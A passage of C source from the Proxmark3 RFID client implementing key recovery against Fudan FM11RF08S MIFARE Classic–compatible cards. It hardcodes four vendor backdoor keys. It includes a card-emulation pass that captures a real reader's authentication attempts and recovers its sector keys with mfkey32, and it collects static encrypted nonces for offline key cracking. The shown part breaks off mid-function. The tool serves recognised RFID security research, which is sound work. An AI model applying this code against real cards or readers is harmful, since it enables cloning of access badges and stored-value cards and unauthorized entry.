mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2026-10-05 23:07:39 +00:00
3436 lines
132 KiB
C
3436 lines
132 KiB
C
//-----------------------------------------------------------------------------
|
|
// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
|
|
//
|
|
// This program is free software: you can redistribute it and/or modify
|
|
// it under the terms of the GNU General Public License as published by
|
|
// the Free Software Foundation, either version 3 of the License, or
|
|
// (at your option) any later version.
|
|
//
|
|
// This program is distributed in the hope that it will be useful,
|
|
// but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
// GNU General Public License for more details.
|
|
//
|
|
// See LICENSE.txt for the text of the license.
|
|
//-----------------------------------------------------------------------------
|
|
// FM11RF08S static encrypted nonce recovery
|
|
// native client implementation by C2Pwn (github.com/C2Pwn)
|
|
//-----------------------------------------------------------------------------
|
|
|
|
#include "cmdhfmfsen.h"
|
|
|
|
#include <ctype.h>
|
|
#include <inttypes.h>
|
|
#include <stdbool.h>
|
|
#include <stdint.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
|
|
#include "cmdhfmf.h"
|
|
#include "comms.h"
|
|
#include "cmdparser.h"
|
|
#include "cliparser.h"
|
|
#include "commonutil.h"
|
|
#include "fileutils.h"
|
|
#include "mifare/mifare4.h"
|
|
#include "mifare/mifaredefault.h"
|
|
#include "mifare/mifarehost.h"
|
|
#include "util_posix.h"
|
|
#include "crapto1/crapto1.h"
|
|
#include "cmdhf14a.h"
|
|
#include "proxendian.h"
|
|
#include "preferences.h"
|
|
#include "parity.h"
|
|
#include "vec/vec.h"
|
|
|
|
#define FM11RF08S_SECTORS 17
|
|
#define FM11RF08S_NORMAL_SECTORS 16
|
|
#define FM11RF08S_GENERATED_KEY_LIMIT (1U << 18)
|
|
#define FM11RF08S_FCHK_KEYS_PER_SECOND 147U
|
|
/* max unique keys in the global-priority batch-fchk pass; above this the
|
|
* per-sector dynamic loop is more efficient (cascade avoids the bulk scan) */
|
|
#define FM11RF08S_MAX_GLOBAL_PRIORITY_KEYS 8000U
|
|
#define FM11RF08S_DEFAULT_DICT "mfc_default_keys"
|
|
|
|
static uint8_t fm11_keys_per_frame(void) {
|
|
uint32_t n = (g_conn.max_cmd_data_size - sizeof(mf_chkkeys_fast_t)) / MIFARE_KEY_SIZE;
|
|
if (n > KEYS_IN_BLOCK) {
|
|
n = KEYS_IN_BLOCK;
|
|
}
|
|
if (n == 0) {
|
|
n = 1;
|
|
}
|
|
return (uint8_t)n;
|
|
}
|
|
|
|
typedef enum {
|
|
FM11_PHASE_COLLECT = 0,
|
|
FM11_PHASE_GENERATE_1NT,
|
|
FM11_PHASE_PARITY_FULL_FILTER,
|
|
FM11_PHASE_MULTI_EVIDENCE_INTERSECT,
|
|
FM11_PHASE_PAIR_SEED_INTERSECT,
|
|
FM11_PHASE_REUSE_CLUSTER,
|
|
FM11_PHASE_KNOWN_KEY_CHECK,
|
|
FM11_PHASE_READER_MATERIAL,
|
|
FM11_PHASE_OFFLINE_FIXPOINT,
|
|
FM11_PHASE_ONLINE_CONFIRM
|
|
} fm11_phase_t;
|
|
|
|
typedef struct {
|
|
uint64_t key;
|
|
uint16_t seed;
|
|
bool seed_valid;
|
|
} fm11_candidate_t;
|
|
|
|
typedef struct {
|
|
fm11_candidate_t candidate;
|
|
uint32_t score;
|
|
uint32_t ordinal;
|
|
} fm11_scored_candidate_t;
|
|
|
|
typedef struct {
|
|
uint64_t key;
|
|
uint32_t sectors;
|
|
uint32_t refs;
|
|
uint32_t ordinal;
|
|
} fm11_reuse_priority_t;
|
|
|
|
typedef struct {
|
|
fm11_candidate_t *data;
|
|
uint32_t count;
|
|
uint32_t cap;
|
|
} fm11_keylist_t;
|
|
|
|
typedef struct {
|
|
uint64_t key;
|
|
uint8_t sec;
|
|
uint8_t key_type;
|
|
uint32_t idx;
|
|
} fm11_candidate_ref_t;
|
|
|
|
typedef struct {
|
|
uint64_t key;
|
|
uint32_t start;
|
|
uint32_t count;
|
|
} fm11_reuse_bucket_t;
|
|
|
|
typedef struct {
|
|
fm11_candidate_ref_t *refs;
|
|
fm11_reuse_bucket_t *buckets;
|
|
uint32_t ref_count;
|
|
uint32_t bucket_count;
|
|
} fm11_reuse_index_t;
|
|
|
|
typedef struct {
|
|
uint32_t uid;
|
|
uint8_t sec;
|
|
uint8_t key_type;
|
|
uint32_t nt;
|
|
uint32_t nt_enc;
|
|
uint8_t par_err;
|
|
uint8_t parity_mask;
|
|
} fm11_evidence_t;
|
|
|
|
#define FM11_PROBE_QUEUE_MAX 128
|
|
|
|
typedef struct {
|
|
uint8_t sec;
|
|
uint8_t key_type;
|
|
uint64_t key;
|
|
} fm11_probe_entry_t;
|
|
|
|
typedef struct {
|
|
uint64_t key;
|
|
uint8_t block_no;
|
|
uint8_t key_type;
|
|
} fm11_initial_key_t;
|
|
|
|
typedef struct {
|
|
fm11_probe_entry_t entries[FM11_PROBE_QUEUE_MAX];
|
|
uint32_t count;
|
|
} fm11_probe_queue_t;
|
|
|
|
const uint8_t fm11_backdoor_keys[FM11_BACKDOOR_KEY_COUNT][MIFARE_KEY_SIZE] = {
|
|
{0xA3, 0x96, 0xEF, 0xA4, 0xE2, 0x4F},
|
|
{0xA3, 0x16, 0x67, 0xA8, 0xCE, 0xC1},
|
|
{0x51, 0x8B, 0x33, 0x54, 0xE7, 0x60},
|
|
{0x73, 0xB9, 0x83, 0x6C, 0xF1, 0x68},
|
|
};
|
|
|
|
static uint64_t fm11_sen_start_time = 0;
|
|
static uint32_t fm11_sen_last_nonces = 0;
|
|
static size_t fm11_sen_inplace_len = 0;
|
|
|
|
static int fm11_verify_candidates(uint8_t real_sec, uint8_t key_type, const fm11_keylist_t *list, uint64_t *key_out);
|
|
|
|
static void fm11_wait_for_enter(const char *message) {
|
|
PrintAndLogEx(INFO, "%s", message);
|
|
while (kbd_enter_pressed()) {
|
|
msleep(50);
|
|
}
|
|
while (kbd_enter_pressed() == false) {
|
|
msleep(100);
|
|
}
|
|
}
|
|
|
|
static void fm11_sen_format_eta(uint32_t seconds, char *out, size_t out_len) {
|
|
if (seconds < 90) {
|
|
snprintf(out, out_len, "%2us", seconds);
|
|
} else if (seconds < 60 * 90) {
|
|
snprintf(out, out_len, "%2umin", seconds / 60);
|
|
} else if (seconds < 60 * 60 * 36) {
|
|
snprintf(out, out_len, "%2uh", seconds / (60 * 60));
|
|
} else {
|
|
snprintf(out, out_len, "%2ud", seconds / (60 * 60 * 24));
|
|
}
|
|
}
|
|
|
|
static void fm11_sen_progress_header(void) {
|
|
fm11_sen_start_time = msclock();
|
|
PrintAndLogEx(INFO, "---------+---------+---------------------------------------------------------+---------------------------+---------------");
|
|
PrintAndLogEx(INFO, " | | | Expected to verify | Estimated ");
|
|
PrintAndLogEx(INFO, " Time | #nonces | Activity | #keys/candidates | time for task ");
|
|
PrintAndLogEx(INFO, "---------+---------+---------------------------------------------------------+---------------------------+---------------");
|
|
PrintAndLogEx(INFO, " " _YELLOW_("%7.0f") " | " _YELLOW_("%7u") " | %-55s | %25s | %13s ",
|
|
0.0, (uint32_t)0, "Start FM11RF08S static encrypted nonce recovery", "", "");
|
|
}
|
|
|
|
static void fm11_sen_progress(uint32_t nonces, const char *activity, uint32_t states, uint32_t eta_seconds) {
|
|
char eta[16] = "";
|
|
char states_text[24] = "";
|
|
if (states > 0) {
|
|
snprintf(states_text, sizeof(states_text), "%u", states);
|
|
}
|
|
if (eta_seconds > 0) {
|
|
fm11_sen_format_eta(eta_seconds, eta, sizeof(eta));
|
|
}
|
|
const char *activity_text = activity ? activity : "";
|
|
|
|
fm11_sen_last_nonces = nonces;
|
|
uint64_t elapsed = fm11_sen_start_time ? (msclock() - fm11_sen_start_time) : 0;
|
|
PrintAndLogEx(INFO, " " _YELLOW_("%7.0f") " | " _YELLOW_("%7u") " | %-55.55s | " _YELLOW_("%25s") " | " _YELLOW_("%13s") " ",
|
|
(float)elapsed / 1000.0,
|
|
nonces,
|
|
activity_text,
|
|
states_text,
|
|
eta);
|
|
}
|
|
|
|
static void fm11_sen_inplace_row(const char *row) {
|
|
if (row == NULL) {
|
|
return;
|
|
}
|
|
static uint8_t spinidx = 0;
|
|
static const char spinner[] = {'\\', '|', '/', '-'};
|
|
|
|
char out[MAX_PRINT_BUFFER] = {0};
|
|
snprintf(out, sizeof(out), "[" _YELLOW_("%c") "] %s", spinner[spinidx], row);
|
|
spinidx = (spinidx + 1) % ARRAYLEN(spinner);
|
|
|
|
char filtered[MAX_PRINT_BUFFER] = {0};
|
|
char rendered[MAX_PRINT_BUFFER] = {0};
|
|
memcpy_filter_ansi(filtered, out, sizeof(filtered), !g_session.supports_colors);
|
|
memcpy_filter_emoji(rendered, filtered, sizeof(rendered), g_session.emoji_mode);
|
|
|
|
size_t len = strlen(rendered);
|
|
pthread_mutex_lock(&g_print_lock);
|
|
fprintf(stdout, "\r%s", rendered);
|
|
if (fm11_sen_inplace_len > len) {
|
|
fprintf(stdout, "%*s", (int)(fm11_sen_inplace_len - len), "");
|
|
}
|
|
fflush(stdout);
|
|
fm11_sen_inplace_len = len;
|
|
pthread_mutex_unlock(&g_print_lock);
|
|
}
|
|
|
|
static void fm11_sen_clear_inplace(void) {
|
|
if (fm11_sen_inplace_len == 0) {
|
|
return;
|
|
}
|
|
pthread_mutex_lock(&g_print_lock);
|
|
fprintf(stdout, "\r");
|
|
fflush(stdout);
|
|
fm11_sen_inplace_len = 0;
|
|
pthread_mutex_unlock(&g_print_lock);
|
|
}
|
|
|
|
static void fm11_sen_finish_inplace(void) {
|
|
if (fm11_sen_inplace_len == 0) {
|
|
return;
|
|
}
|
|
pthread_mutex_lock(&g_print_lock);
|
|
fprintf(stdout, "\n");
|
|
fflush(stdout);
|
|
fm11_sen_inplace_len = 0;
|
|
pthread_mutex_unlock(&g_print_lock);
|
|
}
|
|
|
|
static void fm11_render_bar(char *out, size_t out_len, uint32_t done, uint32_t total) {
|
|
enum { BAR_WIDTH = 20 };
|
|
static const char hash_str[] = "####################";
|
|
static const char dot_str[] = "....................";
|
|
total = MAX(total, done);
|
|
uint8_t filled = (total == 0) ? BAR_WIDTH : (uint8_t)(((uint64_t)done * BAR_WIDTH) / total);
|
|
if (filled > BAR_WIDTH) filled = BAR_WIDTH;
|
|
uint8_t empty = BAR_WIDTH - filled;
|
|
snprintf(out, out_len, _GREEN_("%.*s") "%.*s", filled, hash_str, empty, dot_str);
|
|
}
|
|
|
|
static void fm11_sen_candidate_progress(uint8_t real_sec, uint8_t key_type, uint32_t tested, uint32_t total) {
|
|
total = MAX(total, tested);
|
|
char bar[80] = {0};
|
|
fm11_render_bar(bar, sizeof(bar), tested, total);
|
|
|
|
uint32_t pct = (total == 0) ? 100 : (uint32_t)(((uint64_t)tested * 100) / total);
|
|
uint64_t elapsed = fm11_sen_start_time ? (msclock() - fm11_sen_start_time) : 0;
|
|
|
|
char row[256] = {0};
|
|
snprintf(row, sizeof(row),
|
|
" " _YELLOW_("%7.0f") " | " _YELLOW_("%7u") " | sec " _CYAN_("%03u") " key " _GREEN_("%c") " [%s] " _YELLOW_("%6u") "/" _YELLOW_("%-6u") " " _YELLOW_("%3u%%") " | " _YELLOW_("%25u") " | %13s ",
|
|
(float)elapsed / 1000.0,
|
|
fm11_sen_last_nonces,
|
|
real_sec, key_type ? 'B' : 'A',
|
|
bar, tested, total, pct,
|
|
total, "");
|
|
fm11_sen_inplace_row(row);
|
|
}
|
|
|
|
static void fm11_sen_keycheck_progress(const char *prefix, uint8_t real_sec, uint8_t key_type,
|
|
uint32_t tested, uint32_t total, uint32_t states) {
|
|
total = MAX(total, tested);
|
|
char bar[80] = {0};
|
|
fm11_render_bar(bar, sizeof(bar), tested, total);
|
|
|
|
uint32_t pct = (total == 0) ? 100 : (uint32_t)(((uint64_t)tested * 100) / total);
|
|
uint64_t elapsed = fm11_sen_start_time ? (msclock() - fm11_sen_start_time) : 0;
|
|
const char *text = prefix ? prefix : "chk";
|
|
|
|
char row[256] = {0};
|
|
snprintf(row, sizeof(row),
|
|
" " _YELLOW_("%7.0f") " | " _YELLOW_("%7u") " | %-3.3s " _CYAN_("%03u") " key " _GREEN_("%c") " [%s] " _YELLOW_("%6u") "/" _YELLOW_("%-6u") " " _YELLOW_("%3u%%") " | " _YELLOW_("%25u") " | %13s ",
|
|
(float)elapsed / 1000.0,
|
|
fm11_sen_last_nonces,
|
|
text, real_sec, key_type ? 'B' : 'A',
|
|
bar, tested, total, pct,
|
|
states, "");
|
|
fm11_sen_inplace_row(row);
|
|
}
|
|
|
|
static void fm11_sen_compute_progress(const char *activity, uint32_t done, uint32_t total, uint32_t states) {
|
|
total = MAX(total, done);
|
|
char bar[80] = {0};
|
|
fm11_render_bar(bar, sizeof(bar), done, total);
|
|
|
|
uint32_t pct = (total == 0) ? 100 : (uint32_t)(((uint64_t)done * 100) / total);
|
|
uint64_t elapsed = fm11_sen_start_time ? (msclock() - fm11_sen_start_time) : 0;
|
|
const char *text = activity ? activity : "Compute";
|
|
|
|
char row[256] = {0};
|
|
snprintf(row, sizeof(row),
|
|
" " _YELLOW_("%7.0f") " | " _YELLOW_("%7u") " | " _CYAN_("%-12.12s") " [%s] " _YELLOW_("%6u") "/" _YELLOW_("%-6u") " " _YELLOW_("%3u%%") " | " _YELLOW_("%25u") " | %13s ",
|
|
(float)elapsed / 1000.0,
|
|
fm11_sen_last_nonces,
|
|
text,
|
|
bar, done, total, pct,
|
|
states, "");
|
|
fm11_sen_inplace_row(row);
|
|
}
|
|
|
|
static void fm11_sen_progress_footer(void) {
|
|
PrintAndLogEx(INFO, "---------+---------+---------------------------------------------------------+---------------------------+---------------");
|
|
}
|
|
|
|
static bool fm11_digest_reader_nonce(const nonces_t *data,
|
|
uint64_t reader_keys[FM11RF08S_NORMAL_SECTORS][2],
|
|
bool reader_found[FM11RF08S_NORMAL_SECTORS][2],
|
|
uint32_t *new_keys) {
|
|
if (data == NULL || reader_keys == NULL || reader_found == NULL) {
|
|
return false;
|
|
}
|
|
|
|
uint64_t key = 0;
|
|
bool found = false;
|
|
if ((nonce_state)data->state == SECOND) {
|
|
found = mfkey32_moebius((nonces_t *)data, &key);
|
|
} else if ((nonce_state)data->state == NESTED) {
|
|
found = mfkey32_nested((nonces_t *)data, &key);
|
|
}
|
|
if (found == false || data->sector >= FM11RF08S_NORMAL_SECTORS || data->keytype > MF_KEY_B) {
|
|
return false;
|
|
}
|
|
|
|
key &= 0xFFFFFFFFFFFFULL;
|
|
if (reader_found[data->sector][data->keytype] == false || reader_keys[data->sector][data->keytype] != key) {
|
|
reader_keys[data->sector][data->keytype] = key;
|
|
reader_found[data->sector][data->keytype] = true;
|
|
if (new_keys != NULL) {
|
|
(*new_keys)++;
|
|
}
|
|
PrintAndLogEx(SUCCESS, "Reader material recovered sec " _CYAN_("%03u") " key " _GREEN_("%c") " = " _GREEN_("%012" PRIX64),
|
|
data->sector, data->keytype ? 'B' : 'A', key);
|
|
}
|
|
|
|
uint8_t mem_block[MFBLOCK_SIZE] = {0};
|
|
if (mf_eml_get_mem(mem_block, (data->sector * 4) + 3, 1) == PM3_SUCCESS) {
|
|
if ((mem_block[6] == 0) && (mem_block[7] == 0) && (mem_block[8] == 0)) {
|
|
mem_block[6] = 0xFF;
|
|
mem_block[7] = 0x07;
|
|
mem_block[8] = 0x80;
|
|
}
|
|
num_to_bytes(key, MIFARE_KEY_SIZE, mem_block + (data->keytype ? 10 : 0));
|
|
mf_elm_set_mem(mem_block, (data->sector * 4) + 3, 1);
|
|
}
|
|
return true;
|
|
}
|
|
|
|
static int fm11_collect_reader_material(const iso14a_card_select_t *card,
|
|
uint64_t reader_keys[FM11RF08S_NORMAL_SECTORS][2],
|
|
bool reader_found[FM11RF08S_NORMAL_SECTORS][2]) {
|
|
if (card == NULL || reader_keys == NULL || reader_found == NULL) {
|
|
return PM3_EINVARG;
|
|
}
|
|
|
|
uint16_t flags = FLAG_INTERACTIVE | FLAG_NR_AR_ATTACK | FLAG_NESTED_AUTH_ATTACK;
|
|
FLAG_SET_MF_SIZE(flags, MIFARE_1K_MAX_BYTES);
|
|
FLAG_SET_UID_IN_DATA(flags, card->uidlen);
|
|
flags |= FLAG_ATQA_IN_DATA | FLAG_SAK_IN_DATA;
|
|
|
|
struct {
|
|
uint16_t flags;
|
|
uint8_t exitAfter;
|
|
uint8_t uid[10];
|
|
uint16_t atqa;
|
|
uint8_t sak;
|
|
} PACKED payload = {0};
|
|
|
|
payload.flags = flags;
|
|
payload.exitAfter = 0;
|
|
memcpy(payload.uid, card->uid, card->uidlen);
|
|
payload.atqa = (card->atqa[1] << 8) | card->atqa[0];
|
|
payload.sak = card->sak;
|
|
|
|
DropField();
|
|
clearCommandBuffer();
|
|
PrintAndLogEx(INFO, "Reader pre-pass: emulate UID %s, present the Proxmark3 to the reader", sprint_hex_inrow(card->uid, card->uidlen));
|
|
PrintAndLogEx(INFO, "Press " _GREEN_("Enter") " after the reader attempts are captured");
|
|
|
|
uint32_t recovered = 0;
|
|
while (kbd_enter_pressed()) {
|
|
msleep(50);
|
|
}
|
|
|
|
while (kbd_enter_pressed() == false) {
|
|
SendCommandNG(CMD_HF_MIFARE_SIMULATE, (uint8_t *)&payload, sizeof(payload));
|
|
|
|
PacketResponseNG resp;
|
|
while (kbd_enter_pressed() == false) {
|
|
if (WaitForResponseTimeout(CMD_HF_MIFARE_SIMULATE, &resp, 1000) == false) {
|
|
continue;
|
|
}
|
|
if (resp.status == PM3_EOPABORTED) {
|
|
break;
|
|
}
|
|
if (resp.status != PM3_SUCCESS) {
|
|
break;
|
|
}
|
|
const nonces_t *data = (const nonces_t *)resp.data.asBytes;
|
|
fm11_digest_reader_nonce(data, reader_keys, reader_found, &recovered);
|
|
break;
|
|
}
|
|
}
|
|
|
|
SendCommandNG(CMD_BREAK_LOOP, NULL, 0);
|
|
PrintAndLogEx(INFO, "Reader pre-pass digested %u recovered key%s", recovered, (recovered == 1) ? "" : "s");
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
static void fm11_keylist_free(fm11_keylist_t *list) {
|
|
if (list == NULL) {
|
|
return;
|
|
}
|
|
free(list->data);
|
|
list->data = NULL;
|
|
list->count = 0;
|
|
list->cap = 0;
|
|
}
|
|
|
|
static int fm11_keylist_push(fm11_keylist_t *list, uint64_t key, uint16_t seed) {
|
|
if (list == NULL) {
|
|
return PM3_EINVARG;
|
|
}
|
|
if (list->count == list->cap) {
|
|
uint32_t new_cap = (list->cap == 0) ? 1024 : list->cap * 2;
|
|
fm11_candidate_t *tmp = realloc(list->data, new_cap * sizeof(fm11_candidate_t));
|
|
if (tmp == NULL) {
|
|
return PM3_EMALLOC;
|
|
}
|
|
list->data = tmp;
|
|
list->cap = new_cap;
|
|
}
|
|
list->data[list->count++] = (fm11_candidate_t) {
|
|
.key = key & 0xFFFFFFFFFFFFULL,
|
|
.seed = seed,
|
|
.seed_valid = false,
|
|
};
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
static int fm11_keylist_push_seeded(fm11_keylist_t *list, uint64_t key, uint16_t seed) {
|
|
int res = fm11_keylist_push(list, key, seed);
|
|
if (res == PM3_SUCCESS) {
|
|
list->data[list->count - 1].seed_valid = true;
|
|
}
|
|
return res;
|
|
}
|
|
|
|
static int fm11_cmp_candidate_key(const void *a, const void *b) {
|
|
const fm11_candidate_t *ca = (const fm11_candidate_t *)a;
|
|
const fm11_candidate_t *cb = (const fm11_candidate_t *)b;
|
|
if (ca->key < cb->key) {
|
|
return -1;
|
|
}
|
|
if (ca->key > cb->key) {
|
|
return 1;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
static void fm11_keylist_sort(fm11_keylist_t *list) {
|
|
if (list == NULL || list->count < 2 || list->data == NULL) {
|
|
return;
|
|
}
|
|
qsort(list->data, list->count, sizeof(fm11_candidate_t), fm11_cmp_candidate_key);
|
|
}
|
|
|
|
static void fm11_prioritize_0000_prefix(fm11_keylist_t *list) {
|
|
fm11_keylist_sort(list);
|
|
}
|
|
|
|
static int fm11_keylist_reserve(fm11_keylist_t *list, uint32_t cap) {
|
|
if (list == NULL) {
|
|
return PM3_EINVARG;
|
|
}
|
|
if (list->cap >= cap) {
|
|
return PM3_SUCCESS;
|
|
}
|
|
fm11_candidate_t *tmp = realloc(list->data, cap * sizeof(fm11_candidate_t));
|
|
if (tmp == NULL) {
|
|
return PM3_EMALLOC;
|
|
}
|
|
list->data = tmp;
|
|
list->cap = cap;
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
static bool fm11_keylist_has_key(const fm11_keylist_t *list, uint64_t key) {
|
|
if (list == NULL) {
|
|
return false;
|
|
}
|
|
key &= 0xFFFFFFFFFFFFULL;
|
|
for (uint32_t i = 0; i < list->count; i++) {
|
|
if (list->data[i].key == key) {
|
|
return true;
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
|
|
static int fm11_keylist_add_unique(fm11_keylist_t *list, uint64_t key) {
|
|
if (fm11_keylist_has_key(list, key)) {
|
|
return PM3_SUCCESS;
|
|
}
|
|
return fm11_keylist_push(list, key, 0);
|
|
}
|
|
|
|
static int fm11_load_default_keys(fm11_keylist_t *defaults) {
|
|
if (defaults == NULL) {
|
|
return PM3_EINVARG;
|
|
}
|
|
|
|
for (uint32_t d = 0; d < ARRAYLEN(g_mifare_default_keys); d++) {
|
|
int res = fm11_keylist_add_unique(defaults, g_mifare_default_keys[d]);
|
|
if (res != PM3_SUCCESS) {
|
|
return res;
|
|
}
|
|
}
|
|
|
|
uint8_t *dict_keys = NULL;
|
|
uint32_t dict_count = 0;
|
|
int res = loadFileDICTIONARY_safe_ex(FM11RF08S_DEFAULT_DICT, ".dic", (void **)&dict_keys,
|
|
MIFARE_KEY_SIZE, &dict_count, false);
|
|
if (res != PM3_SUCCESS) {
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
for (uint32_t i = 0; i < dict_count; i++) {
|
|
uint64_t key = bytes_to_num(dict_keys + (i * MIFARE_KEY_SIZE), MIFARE_KEY_SIZE);
|
|
res = fm11_keylist_add_unique(defaults, key);
|
|
if (res != PM3_SUCCESS) {
|
|
free(dict_keys);
|
|
return res;
|
|
}
|
|
}
|
|
free(dict_keys);
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
static bool fm11_keylist_promote_existing(fm11_keylist_t *list, uint64_t key) {
|
|
if (list == NULL) {
|
|
return false;
|
|
}
|
|
key &= 0xFFFFFFFFFFFFULL;
|
|
for (uint32_t i = 0; i < list->count; i++) {
|
|
if (list->data[i].key == key) {
|
|
if (i != 0) {
|
|
fm11_candidate_t tmp = list->data[i];
|
|
memmove(list->data + 1, list->data, i * sizeof(fm11_candidate_t));
|
|
list->data[0] = tmp;
|
|
}
|
|
return true;
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
|
|
static bool fm11_keylist_promote_existing_hint(fm11_keylist_t *list, uint64_t key, uint32_t idx_hint) {
|
|
if (list == NULL) {
|
|
return false;
|
|
}
|
|
key &= 0xFFFFFFFFFFFFULL;
|
|
if (idx_hint < list->count && list->data[idx_hint].key == key) {
|
|
if (idx_hint != 0) {
|
|
fm11_candidate_t tmp = list->data[idx_hint];
|
|
memmove(list->data + 1, list->data, idx_hint * sizeof(fm11_candidate_t));
|
|
list->data[0] = tmp;
|
|
}
|
|
return true;
|
|
}
|
|
return fm11_keylist_promote_existing(list, key);
|
|
}
|
|
|
|
static int fm11_keylist_promote_or_prepend(fm11_keylist_t *list, uint64_t key) {
|
|
if (list == NULL) {
|
|
return PM3_EINVARG;
|
|
}
|
|
key &= 0xFFFFFFFFFFFFULL;
|
|
if (fm11_keylist_promote_existing(list, key)) {
|
|
return PM3_SUCCESS;
|
|
}
|
|
int res = fm11_keylist_reserve(list, list->count + 1);
|
|
if (res != PM3_SUCCESS) {
|
|
return res;
|
|
}
|
|
memmove(list->data + 1, list->data, list->count * sizeof(fm11_candidate_t));
|
|
list->data[0] = (fm11_candidate_t) {
|
|
.key = key,
|
|
.seed = 0,
|
|
.seed_valid = false,
|
|
};
|
|
list->count++;
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
static uint32_t fm11_bytes_to_u32(const uint8_t v[4]) {
|
|
return ((uint32_t)v[0] << 24) | ((uint32_t)v[1] << 16) | ((uint32_t)v[2] << 8) | v[3];
|
|
}
|
|
|
|
static uint8_t fm11_real_sector(uint8_t sec) {
|
|
return (sec < FM11RF08S_NORMAL_SECTORS) ? sec : sec + 16;
|
|
}
|
|
|
|
static uint32_t fm11_count_found_keys(const bool found_key[FM11RF08S_SECTORS][2]) {
|
|
uint32_t found = 0;
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
found += found_key[sec][0] ? 1 : 0;
|
|
found += found_key[sec][1] ? 1 : 0;
|
|
}
|
|
return found;
|
|
}
|
|
|
|
static uint32_t fm11_count_unfound_candidates(fm11_keylist_t candidates[FM11RF08S_SECTORS][2],
|
|
const bool found_key[FM11RF08S_SECTORS][2]) {
|
|
uint32_t total = 0;
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
if (found_key[sec][kt] == false) {
|
|
total += candidates[sec][kt].count;
|
|
}
|
|
}
|
|
}
|
|
return total;
|
|
}
|
|
|
|
static int fm11_collect_nonces_ex(const uint8_t *key, uint32_t flags, uint8_t first_block_no, uint8_t first_key_type,
|
|
iso14a_card_select_t *card, iso14a_fm11rf08s_nonces_with_data_t *nonces) {
|
|
if (key == NULL || card == NULL || nonces == NULL) {
|
|
return PM3_EINVARG;
|
|
}
|
|
|
|
clearCommandBuffer();
|
|
SendIso14aReader(ISO14A_CONNECT | ISO14A_CLEARTRACE, NULL, 0);
|
|
PacketResponseNG resp;
|
|
uint8_t sel_661 = 0;
|
|
if (WaitForIso14aReply(&resp, 2500, NULL, &sel_661) == false) {
|
|
PrintAndLogEx(WARNING, "iso14443a card select timeout");
|
|
return PM3_ETIMEOUT;
|
|
}
|
|
if (sel_661 == 0) {
|
|
PrintAndLogEx(WARNING, "iso14443a card select failed");
|
|
return PM3_ESOFT;
|
|
}
|
|
memcpy(card, (iso14a_card_select_t *)resp.data.asBytes, sizeof(iso14a_card_select_t));
|
|
|
|
mf_acquire_nonces_t payload = {
|
|
.blockno = first_block_no,
|
|
.keytype = first_key_type,
|
|
.flags = flags,
|
|
};
|
|
memcpy(payload.key, key, sizeof(payload.key));
|
|
|
|
clearCommandBuffer();
|
|
SendCommandNG(CMD_HF_MIFARE_ACQ_STATIC_ENCRYPTED_NONCES, (uint8_t *)&payload, sizeof(payload));
|
|
if (WaitForResponseTimeout(CMD_HF_MIFARE_ACQ_STATIC_ENCRYPTED_NONCES, &resp, 2500) == false) {
|
|
PrintAndLogEx(WARNING, "Fail, transfer from device time-out");
|
|
return PM3_ETIMEOUT;
|
|
}
|
|
if (resp.status != PM3_SUCCESS || resp.length < sizeof(mf_nonces_resp_t)) {
|
|
return PM3_ESOFT;
|
|
}
|
|
|
|
const uint8_t *snonces = ((const mf_nonces_resp_t *)resp.data.asBytes)->nonces;
|
|
|
|
memset(nonces, 0, sizeof(*nonces));
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
uint32_t nt = bytes_to_num(snonces + ((sec * 2) * 8), 2);
|
|
nt = (nt << 16) | prng_successor(nt, 16);
|
|
num_to_bytes(nt, 4, nonces->nt[sec][0]);
|
|
|
|
nt = bytes_to_num(snonces + (((sec * 2) + 1) * 8), 2);
|
|
nt = (nt << 16) | prng_successor(nt, 16);
|
|
num_to_bytes(nt, 4, nonces->nt[sec][1]);
|
|
}
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
memcpy(nonces->nt_enc[sec][0], snonces + ((sec * 2) * 8) + 4, 4);
|
|
memcpy(nonces->nt_enc[sec][1], snonces + (((sec * 2) + 1) * 8) + 4, 4);
|
|
nonces->par_err[sec][0] = snonces[((sec * 2) * 8) + 2];
|
|
nonces->par_err[sec][1] = snonces[(((sec * 2) + 1) * 8) + 2];
|
|
}
|
|
|
|
if ((flags & 1) == 0) {
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
uint8_t *dump = calloc(MIFARE_1K_MAXBLOCK, MFBLOCK_SIZE);
|
|
if (dump == NULL) {
|
|
return PM3_EMALLOC;
|
|
}
|
|
if (GetFromDevice(BIG_BUF_EML, dump, MIFARE_1K_MAXBLOCK * MFBLOCK_SIZE, 0, NULL, 0, NULL, 2500, false) == false) {
|
|
free(dump);
|
|
PrintAndLogEx(WARNING, "Fail, transfer from device time-out");
|
|
return PM3_ETIMEOUT;
|
|
}
|
|
for (uint8_t blk = 0; blk < MIFARE_1K_MAXBLOCK; blk++) {
|
|
memcpy(nonces->blocks[blk], dump + blk * MFBLOCK_SIZE, MFBLOCK_SIZE);
|
|
}
|
|
free(dump);
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
int fm11_collect_nonces(const uint8_t *key, iso14a_card_select_t *card, iso14a_fm11rf08s_nonces_with_data_t *nonces) {
|
|
return fm11_collect_nonces_ex(key, 1, 0, MF_KEY_A, card, nonces);
|
|
}
|
|
|
|
static int fm11_try_initial_key_for_nonces(const fm11_initial_key_t *initial, iso14a_card_select_t *card,
|
|
iso14a_fm11rf08s_nonces_with_data_t *nonces, uint8_t *active_key) {
|
|
if (initial == NULL || card == NULL || nonces == NULL || active_key == NULL) {
|
|
return PM3_EINVARG;
|
|
}
|
|
|
|
